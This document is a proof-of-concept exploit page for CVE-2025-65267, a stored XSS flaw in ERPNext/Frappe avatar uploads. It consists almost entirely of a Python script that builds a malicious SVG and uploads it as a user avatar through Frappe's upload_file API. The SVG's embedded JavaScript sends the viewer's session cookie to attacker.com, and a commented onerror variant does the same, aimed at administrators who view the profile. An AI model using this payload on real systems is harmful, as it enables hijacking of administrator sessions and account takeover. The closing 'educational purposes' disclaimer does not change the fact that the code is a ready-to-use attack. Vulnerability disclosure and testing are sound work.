CVE-2025-65267 ERPNext/Frappe Framework SVG头像存储型XSS漏洞

# CVE-2025-65267 PoC - Malicious SVG Avatar with XSS Payload # This PoC demonstrates how to create a malicious SVG file that can be uploaded as an avatar import base64 import requests # Malicious SVG payload with embedded JavaScript # When displayed, this will execute JavaScript in the victim's browser svg_payload = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <script type="text/javascript"> // Steal session cookies and send to attacker server fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)) .then(response => response.text()) .then(data => console.log('Cookie stolen')); // Alternative: Exfiltrate data via SVG onload // <image href="x" onerror="fetch('https://attacker.com/log?data='+document.cookie)"/> </script> <circle cx="100" cy="100" r="80" fill="#4CAF50"/> <text x="50%" y="50%" text-anchor="middle" fill="white" font-size="20">Avatar</text> </svg>''' # Save the malicious SVG file with open('malicious_avatar.svg', 'w') as f: f.write(svg_payload) print('[+] Malicious SVG file created: malicious_avatar.svg') print('[+] Upload this file as your profile avatar') print('[+] When admin views your profile, the XSS payload will execute') # Simulated upload request (adjust URL and auth token accordingly) def upload_avatar(base_url, auth_token, svg_file_path): upload_url = f"{base_url}/api/method/frappe.client.upload_file" headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'multipart/form-data' } with open(svg_file_path, 'rb') as f: files = {'file': ('malicious_avatar.svg', f, 'image/svg+xml')} data = {'doctype': 'User', 'docname': 'attacker_user', 'fieldname': 'user_image'} response = requests.post(upload_url, headers=headers, files=files, data=data) return response.json() print('\n[!] Note: This PoC is for educational and security testing purposes only')